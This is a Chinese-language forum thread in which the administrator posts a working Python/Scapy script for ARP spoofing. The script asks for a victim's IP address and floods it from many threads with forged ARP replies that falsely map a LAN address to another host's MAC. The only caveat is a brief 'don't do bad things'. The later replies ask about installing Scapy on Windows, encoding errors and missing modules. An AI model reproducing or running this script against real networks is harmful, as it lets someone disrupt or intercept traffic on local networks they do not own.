找回密码
 立即注册

扫一扫,访问微社区

QQ登录

只需一步,快速开始

查看: 16149|回复: 10

[代码与实例] 使用python发送arp攻击

50

主题

1057

帖子

1108

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
1108

活跃会员热心会员最佳导师默默耕耘突出贡献优秀版主荣誉管理论坛元老

blueelwang 发表于 2014-1-14 13:40:47 | 显示全部楼层 |阅读模式

使用python发送arp攻击,注意不要干坏事哦
  1. # -*- coding: cp936 -*-
  2. from scapy.all import *
  3. from threading import Thread,Lock,activeCount

  4. BROADCASTMAC = getmacbyip('192.168.0.120')

  5. class Loop(Thread):
  6.     def __init__(self,ip):
  7.         Thread.__init__(self)
  8.         self.ip = ip
  9.         
  10.     def run(self):
  11.         global BROADCASTMAC
  12.         arp = ARP()
  13.         arp.psrc = '192.168.0.251'
  14.         arp.hwsrc = BROADCASTMAC
  15.         arp.pdst = self.ip
  16.         arp.op = 2
  17.         sr1(arp,verbose = 0,retry = 0,timeout = 3)

  18. class Main(Thread):
  19.     def __init__(self,ip):
  20.         Thread.__init__(self)
  21.         self.ip = ip

  22.     def run(self):
  23.         limit = 100
  24.         total = 0
  25.         while True:
  26.             if activeCount() < limit:
  27.                 Loop(self.ip).start()
  28.                 total = total + 1
  29.             print '目前已进行了ARP攻击的次数为:'+str(total)
  30.             
  31. if __name__ == '__main__':
  32.     ip = raw_input('请输入要进行ARP攻击的机器IP:')
  33.    
  34.     Main(ip = ip).start()
  35.    
复制代码



回复

使用道具 举报

0

主题

1

帖子

8

积分

贫民

积分
8
a12042695 发表于 2014-3-5 00:44:19 | 显示全部楼层
小白表示完全看不懂!
回复 支持 反对

使用道具 举报

0

主题

3

帖子

18

积分

贫民

积分
18
东坡卖瓜 发表于 2014-11-11 10:20:58 | 显示全部楼层
弱弱的问下楼主:scapy支持unix系列的安排非常方便,到了win下面,貌似不是很好安装呢,网上大都是py2.5或者py2.6版本对应的scapy的配置,但是py我的是3.3的,不知道怎么配置,楼主是在unix上测试的吗
回复 支持 反对

使用道具 举报

50

主题

1057

帖子

1108

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
1108

活跃会员热心会员最佳导师默默耕耘突出贡献优秀版主荣誉管理论坛元老

blueelwang  楼主| 发表于 2014-11-13 11:02:12 | 显示全部楼层
东坡卖瓜 发表于 2014-11-11 10:20
弱弱的问下楼主:scapy支持unix系列的安排非常方便,到了win下面,貌似不是很好安装呢,网上大都是py2.5或 ...

我用的py2.7 , linux环境
回复 支持 反对

使用道具 举报

0

主题

1

帖子

8

积分

贫民

积分
8
QQ
jacksparrowisme 发表于 2015-1-7 00:46:27 | 显示全部楼层
'gbk' codec can't decode bytes in position 21-22: illegal multibyte sequence
请问这是什么错误?
回复 支持 反对

使用道具 举报

50

主题

1057

帖子

1108

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
1108

活跃会员热心会员最佳导师默默耕耘突出贡献优秀版主荣誉管理论坛元老

blueelwang  楼主| 发表于 2015-2-26 18:10:36 | 显示全部楼层
jacksparrowisme 发表于 2015-1-7 00:46
'gbk' codec can't decode bytes in position 21-22: illegal multibyte sequence
请问这是什么错误? ...

检查一下编码
回复 支持 反对

使用道具 举报

1

主题

2

帖子

11

积分

贫民

积分
11
scuzgw 发表于 2015-6-17 14:31:06 | 显示全部楼层
出现ImportError: No module named dnet怎么办?搜不到解决办法
回复 支持 反对

使用道具 举报

0

主题

6

帖子

6

积分

贫民

积分
6
yeayee 发表于 2015-8-19 10:22:24 | 显示全部楼层
这样不好吧,呵呵
回复 支持 反对

使用道具 举报

0

主题

1

帖子

6

积分

贫民

积分
6
wuchi1042 发表于 2015-9-2 14:04:52 | 显示全部楼层
mark一下{:4_113:}
回复

使用道具 举报

1

主题

7

帖子

7

积分

贫民

积分
7
wangcj456 发表于 2016-8-26 15:28:18 | 显示全部楼层
几个包还没装全,等空了装全再试一下
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表